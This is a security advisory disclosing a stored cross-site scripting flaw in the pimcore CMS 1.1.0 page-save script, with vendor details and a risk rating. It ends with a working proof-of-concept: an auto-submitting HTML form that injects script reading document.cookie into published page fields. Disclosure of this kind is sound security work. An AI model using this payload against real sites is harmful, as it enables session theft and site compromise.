XSS vulnerability in pimcore

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22562
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pimcore.html
Product: pimcore
Vendor: elements.at New Media Solutions GmbH. ( http://www.pimcore.org/ ) 
Vulnerable Version: 1.1.0 and Probably Prior Versions
Vendor Notification: 02 August 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the page saving script to properly 
sanitize user-supplied input in "data" variable. Successful exploitation of 
this vulnerability could result in a compromise of the application, theft of 
cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/page/save/task/publish"; method="post"  
name="main" >

<input type="hidden" name="data" value='{"headernote": {"data": "Powerful 
CMS"><script>alert(document.cookie)</script>", "type": "textarea"}, "headline": 
{"data": "The truth about pimcore", "type": "input"}, "contentblock": {"data": 
["1"], "type": "block"}, "blocktypecontentblock1": {"data": null, "type": 
"select"}, "sublinecontentblock1": {"data": "Content management ala pimcore", 
"type": "input"}, "contentcontentblock1": {"data": 
"<p>\n\tPimcore</p>\n\"><script>alert(document.cookie)</script>", "type": 
"wysiwyg"}}' />
<input type="hidden" name="id" value="1440" />

</form>
<script>
document.main.submit();
</script>